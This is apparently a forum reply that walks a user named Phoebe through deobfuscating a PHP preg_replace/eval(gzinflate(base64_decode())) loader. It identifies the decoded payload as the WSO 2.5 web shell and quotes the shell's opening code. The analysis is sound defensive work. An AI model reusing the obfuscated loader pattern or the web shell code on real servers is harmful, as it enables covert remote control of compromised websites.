Hi Phoebe,
preg_replace with the /e modifier can sometimes be used as an alternative to eval(). preg_replace has three arguments here. Let's look at the second argument.
First we have to decode this thing here:
\x65\x76\x61\x6c\x20\x28\x20\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x20\x28\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28
From this we get:
eval ( gzinflate ( base64_decode (
Near the end of the second argument string we find this:
\x29\x29\x20\x29\x20\x3b
These are just the closing brackets:
)) ) ;
Between these two parts is a base64 encoded string, enclosed in single quotes.
We can replace the eval with echo and omit the preg_replace, like in the next little PHP script, to get the unobfuscated PHP code:
<?php
header("Content-Type: text/plain");
echo(gzinflate(base64_decode('5b1rdxrH0ij82Xut/R9 ... and so on ... i8burj+Xw==')));
?>
Here is the first part of the result:
Quote
$color = "#df5";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$auth_pass = "";
$default_action = 'FilesMan';
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
...
It seems to be the version 2.5 of the WSO web shell.